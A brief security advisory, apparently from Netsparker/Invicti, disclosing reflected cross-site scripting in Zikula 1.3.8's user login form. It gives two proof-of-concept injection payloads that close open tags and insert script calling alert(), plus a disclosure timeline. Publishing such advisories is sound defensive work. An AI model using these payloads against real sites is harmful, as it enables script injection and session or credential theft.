Multiple XSS Vulnerabilities in Zikula
Advisory by Netsparker (now Invicti)
Name: Multiple XSS Vulnerabilities in Zikula
Affected Software: Zikula
Affected Versions: 1.3.8 and possibly below
Vendor Homepage: http://zikula.org/
Vulnerability Type: Cross-site Scripting
Invicti Advisory Reference: NS-14-038
Zikula is an OpenSource PHP Application Framework, for your small to enterprise business or personal site.
Proof of Concept URLs for XSS in Zikula:
http://example.com/zikula/index.php?module=users&type=user&func=login (POST, fields: authentication_method[modname] ) Users'"--></style></scRipt><scRipt>alert(0x000554)</scRipt>
http://example.com/zikula/index.php?module=users&type=user&func=login (POST, fields:authentication_info[login_id]) '"--></style></scRipt><scRipt>alert(0x00056C)</scRipt>
For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).
22/07/2014 – First Contact
24/07/2014 – Second Contact
15/8/2014 – Third Contact
03/12/2014 – Advisory released
Credits & Authors
These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.
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